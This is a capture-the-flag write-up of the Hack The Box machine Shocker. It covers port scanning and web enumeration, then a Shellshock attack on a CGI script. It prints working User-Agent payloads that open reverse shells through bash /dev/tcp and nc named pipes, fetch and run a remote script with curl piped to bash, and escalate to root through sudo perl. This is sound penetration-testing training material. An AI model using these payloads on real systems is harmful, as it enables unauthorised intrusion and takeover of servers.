OSCP-like boxes
  • Introduction
  • Linux Boxes
    • Lame
    • Shocker
    • Bashed
  • Windows Boxes
    • Legacy
  • Harder than OSCP - Windows
    • COMING SOON
  • Harder than OSCP - Linux
    • COMING SOON
  • Misc
    • Handy Commands
Powered by GitBook
On this page
  • Overview
  • Scanning
  • Exploitation
  • Privilege Escalation: shelly to root
  • Takeaways

Was this helpful?

  1. Linux Boxes

Shocker

This is a write-up on how I solved Shocker from Hack the Box.

PreviousLameNextBashed

Last updated 4 years ago

Was this helpful?

Overview

Scanning

Scanning for open ports using masscan:

sudo masscan -p1-65535,U:1-65535 10.10.10.56 --rate=1000 -e tun0

Open ports are the following:

Discovered open port 2222/tcp on 10.10.10.56                                   
Discovered open port 80/tcp on 10.10.10.56

I then ran a version and default scripts scan on the open ports:

sudo nmap -p 80,2222 -sV -sC -oA nmap/shocker 10.10.10.56

The result:

PORT     STATE SERVICE REASON         VERSION
80/tcp   open  http    syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
2222/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD8ArTOHWzqhwcyAZWc2CmxfLmVVTwfLZf0zhCBREGCpS2WC3NhAKQ2zefCHCU8XTC8hY9ta5ocU+p7S52OGHlaG7HuA5Xlnihl1INNsMX7gpNcfQEYnyby+hjHWPLo4++fAyO/lB8NammyA13MzvJy8pxvB9gmCJhVPaFzG5yX6Ly8OIsvVDk+qVa5eLCIua1E7WGACUlmkEGljDvzOaBdogMQZ8TGBTqNZbShnFH1WsUxBtJNRtYfeeGjztKTQqqj4WD5atU8dqV/iwmTylpE7wdHZ+38ckuYL9dmUPLh4Li2ZgdY6XniVOBGthY5a2uJ2OFp2xe1WS9KvbYjJ/tH
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPiFJd2F35NPKIQxKMHrgPzVzoNHOJtTtM+zlwVfxzvcXPFFuQrOL7X6Mi9YQF9QRVJpwtmV9KAtWltmk3qm4oc=
|   256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC/RjKhT/2YPlCgFQLx+gOXhC6W3A3raTzjlXQMT8Msk
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

My next step now is to run a directory bruteforce using Gobuster:

sif0@kali:~/htb/retired/Shocker-10.10.10.56$ gobuster dir -u http://10.10.10.56 -w /usr/share/SecLists/Discovery/Web-Content/common.txt                                 [16/73]


===============================================================                                                                                                                
Gobuster v3.0.1                                                                                                                                                                
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)                                                                                                                
===============================================================                                                                                                                
[+] Url:            http://10.10.10.56                                                                                                                                         
[+] Threads:        10                                                                                                                                                         
[+] Wordlist:       /usr/share/SecLists/Discovery/Web-Content/common.txt                                                                                                       
[+] Status codes:   200,204,301,302,307,401,403                                                                                                                                
[+] User Agent:     gobuster/3.0.1                                                                                                                                             
[+] Timeout:        10s                                                                                                                                                        
===============================================================                                                                                                                
2020/06/29 21:25:26 Starting gobuster                                                                                                                                          
===============================================================                                                                                                                
/.hta (Status: 403)                                                                                                                                                            
/.htaccess (Status: 403)                                                                                                                                                       
/.htpasswd (Status: 403)                                                                                                                                                       
/cgi-bin/ (Status: 403)
/index.html (Status: 200)
/server-status (Status: 403)
===============================================================
2020/06/29 21:27:15 Finished
===============================================================

The CGI (Common Gateway Interface) defines a way for a web server to interact with external content-generating programs, which are often referred to as CGI programs or CGI scripts. It is a simple way to put dynamic content on your web site, using whatever programming language you're most familiar with.

Seeing that a cgi-bin directory exists, I began fuzzing for files with common extensions such as py,sh,pl, and cgi:

gobuster dir -u http://10.10.10.56/cgi-bin/ -w /usr/share/SecLists/Discovery/Web-Content/common.txt -x sh,pl,py,php,cgi

I also ran Nikto in the background, but it found nothing interesting aside a default Apache file:

sif0@kali:~/htb/retired/Shocker-10.10.10.56$ nikto +h 10.10.10.56

- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.56
+ Target Hostname:    10.10.10.56
+ Target Port:        80
+ Start Time:         2020-06-29 21:08:01 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Server may leak inodes via ETags, header found with file /, inode: 89, size: 559ccac257884, mtime: gzip
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS 
+ OSVDB-3233: /icons/README: Apache default file found.
+ 8673 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time:           2020-06-29 21:42:03 (GMT8) (2042 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

The cgi-bin fuzzing found a file called user.sh:

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.56/cgi-bin/
[+] Threads:        10
[+] Wordlist:       /usr/share/SecLists/Discovery/Web-Content/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     py,php,cgi,sh,pl
[+] Timeout:        10s
===============================================================
2020/06/29 22:28:53 Starting gobuster
===============================================================
/.hta (Status: 403)
/.hta.cgi (Status: 403)
/.hta.sh (Status: 403)
/.hta.pl (Status: 403)
/.hta.py (Status: 403)
/.hta.php (Status: 403)
/.htaccess (Status: 403)
/.htaccess.php (Status: 403)
/.htaccess.cgi (Status: 403)
/.htaccess.sh (Status: 403)
/.htaccess.pl (Status: 403)
/.htaccess.py (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.sh (Status: 403)
/.htpasswd.pl (Status: 403)
/.htpasswd.py (Status: 403)
/.htpasswd.php (Status: 403)
/.htpasswd.cgi (Status: 403)
/user.sh (Status: 200)
===============================================================
2020/06/29 22:40:08 Finished
===============================================================

Checking the contents of the file:

Content-Type: text/plain

Just an uptime test script

 10:43:31 up  1:50,  0 users,  load average: 0.09, 0.06, 0.01

So the script is used to test uptime. Now that I found a bash script, I can now try to exploit Shellshock.

Exploitation

User Agent: () { :; }; <bash command>

In my attempt to verify the vulnerability, I tried to ping myself once:

User Agent: () { :; }; /bin/ping -c 1 <attacker-ip>

Pinging yourself once is a one good way verifying command injection. It may be an issue though on environments that block outbound ICMP or block ICMP as a whole. Also, you need to ping a machine that is routable to the victim machine and you can also sniff traffic from for you to verify the ping.

On my local machine, I run tcpdump to listen on interface eth0 and filter only ICMP traffic:

sudo tcpdump -i tun0 icmp

I then intercept a request to 10.10.10.156/cgi-bin/user.sh using Burp, and modified the value of the User-Agent Header:

GET /cgi-bin/user.sh HTTP/1.1
Host: 10.10.10.56
User-Agent: () { :; }; /bin/ping -c 1 10.10.14.7
Content-Length: 189
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Checking my sniffer, I get a ping:

sif0@kali:~/htb/retired/Shocker-10.10.10.56$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
22:54:58.207084 IP 10.10.10.56 > 10.10.14.7: ICMP echo request, id 1534, seq 1, length 64
22:54:58.207293 IP 10.10.14.7 > 10.10.10.56: ICMP echo reply, id 1534, seq 1, length 64

Now I know that my command injection works. The next step now is to get a reverse shell. One of the bash one-liners I use is:

bash -i >& /dev/tcp/<attacker-ip>/<attacker-port> 0>&1

Modifying the request again using Burp:

GET /cgi-bin/user.sh HTTP/1.1
Host: 10.10.10.56
User-Agent: () { :; }; bash -i >& /dev/tcp/10.10.14.7/9001 0>&1
Content-Length: 0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Setting up my listener:

rlwrap nc -nlvp 9001

I get a connection, but it mentions that /bin/bash is not found on the remote box:

sif0@kali:~/htb/retired/Shocker-10.10.10.56$ rlwrap nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.56] 46566
/bin/bash: bash: No such file or directory

Since I can't used that one-liner, I opt to my 2nd option, a named-pipe reverse shell:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Sending another request using Burp:

GET /cgi-bin/user.sh HTTP/1.1
Host: 10.10.10.56
User-Agent: () { :; }; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.7 9001 >/tmp/f
Content-Length: 0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Unfortunately, I don't get a connection. My next option is have the target machine download a file that I serve using an HTTP server and redirect the contents of that file to bash for execution. To set that up, I create a file called shell.sh:

shell.sh
bash -i >& /dev/tcp/10.10.14.7/9001 0>&1

Serving the file using python3's http.server module and setting up my listener:

python3 -m http.server 8081 #http server

rlwrap nc -nlvp 9001 #reverse shell listener

Using Shellshock to download a file from my machine and redirect it to bash:

GET /cgi-bin/user.sh HTTP/1.1
Host: 10.10.10.56
User-Agent: () { :; }; /bin/sh -c "curl 10.10.14.7:8081/shell.sh|bash"
Content-Length: 0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

I get a hit to download the file:

sif0@kali:~/htb/retired/Shocker-10.10.10.56/http$ sudo python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
10.10.10.56 - - [29/Jun/2020 23:31:03] "GET /shell.sh HTTP/1.1" 200 -

And now I get a shell as the user shelly:

sif0@kali:~/htb/retired/Shocker-10.10.10.56$ rlwrap nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.56] 46588
bash: no job control in this shell
shelly@Shocker:/usr/lib/cgi-bin$

Privilege Escalation: shelly to root

I run the command id to check the groups shelly belongs to:

shelly@Shocker:/usr/lib$ id
id
uid=1000(shelly) gid=1000(shelly) groups=1000(shelly),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)

It stands out that shelly is part of the group adm(which means she can read logs) and lxd, a group that has a privilege escalation opportunity. I also check the passwd file to check for other users:

shelly@Shocker:/usr/lib$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
<snip>
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
shelly:x:1000:1000:shelly,,,:/home/shelly:/bin/bash

Nothing uncommon and no other interesting users. I then now check shelly's home directory:

shelly@Shocker:/usr/lib$ cd ~
cd ~
shelly@Shocker:/home/shelly$ ls -al
ls -al
total 36
drwxr-xr-x 4 shelly shelly 4096 Sep 22  2017 .
drwxr-xr-x 3 root   root   4096 Sep 22  2017 ..
-rw------- 1 root   root      0 Sep 25  2017 .bash_history
-rw-r--r-- 1 shelly shelly  220 Sep 22  2017 .bash_logout
-rw-r--r-- 1 shelly shelly 3771 Sep 22  2017 .bashrc
drwx------ 2 shelly shelly 4096 Sep 22  2017 .cache
drwxrwxr-x 2 shelly shelly 4096 Sep 22  2017 .nano
-rw-r--r-- 1 shelly shelly  655 Sep 22  2017 .profile
-rw-r--r-- 1 root   root     66 Sep 22  2017 .selected_editor
-rw-r--r-- 1 shelly shelly    0 Sep 22  2017 .sudo_as_admin_successful
-r--r--r-- 1 root   root     33 Sep 22  2017 user.txt

The file user.txt is here, and I can read it:

shelly@Shocker:/home/shelly$ cat user.txt
cat user.txt
2ec24e11320026d1e70....
shelly@Shocker:/home/shelly$ curl 10.10.14.7:8081/linpeas.sh|bash

From the output of the script, a privilege escalation path seems to be identified thru sudo:

[+] Testing 'sudo -l' without password & /etc/sudoers
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#commands-with-sudo-and-suid-commands
Matching Defaults entries for shelly on Shocker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User shelly may run the following commands on Shocker:
    (root) NOPASSWD: /usr/bin/perl

Knowing that shelly can run Perl as root, this is basically game over. Scripting languages usually have a flag(in this case for perl, its -e) that allows you to execute a command or program. In Perl syntax, you can spawn a shell using 'exec /bin/sh'. Since Perl is running as root when we use sudo, I can then spawn a shell that will effectively run under the context of root. To sum it up:

shelly@Shocker:/home/shelly$ sudo -u root /usr/bin/perl -e 'exec "/bin/sh";'

And I am now the root user, and can read root.txt:

shelly@Shocker:/home/shelly$ sudo -u root /usr/bin/perl -e 'exec "/bin/sh";'
sudo -u root /usr/bin/perl -e 'exec "/bin/sh";'
whoami && id
root
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
52c2715605d70c761

Takeaways

  • Shellshock is a critical vulnerability and having a version that is vulnerable to Shellshock is dangerous.

  • Giving users sudo rights on programs that can spawn a shell or execute commands is basically giving them a root shell.

Only 2 ports are open. It is notable that SSH is configured to run on a different port(2222) rather than the usual(port 22). My next step here is to visit the webpage running on port 80. The page contains only an image called bug.jpg(identified by viewing the source). The box creator obviously hints for a bug on Apache. I can only think of as a potential vector here. But I don't want to get ahead of myself so I enumerate more.

No interesting files after using a wordlist from Seclists. What stands out is the existence of a cgi-bin directory. I then checked on Shellshock again and found that the existence of cgi-bin can be used indirectly to abuse Shellshock. What's needed is a way we can interact with Bash, and thus we need to find a .sh script. I learned about it by reading .

I also checked on any documentation about cgi from Apache to learn more about cgi and found .

After looking for articles with POC's, I came across . From the article, I can basically change the value of the User-Agent Header to something like this:

I use so I can use arrow-keys(up and down) to recall previous shell commands.

To fasten the enumeration for privilege escalation, I'll be using . I download a copy and move it to my HTTP directory location, where I ran the python http.server module:

Shellshock
here
this
this
rlwrap
linpeas
https://www.hackthebox.eu/home/machines/profile/108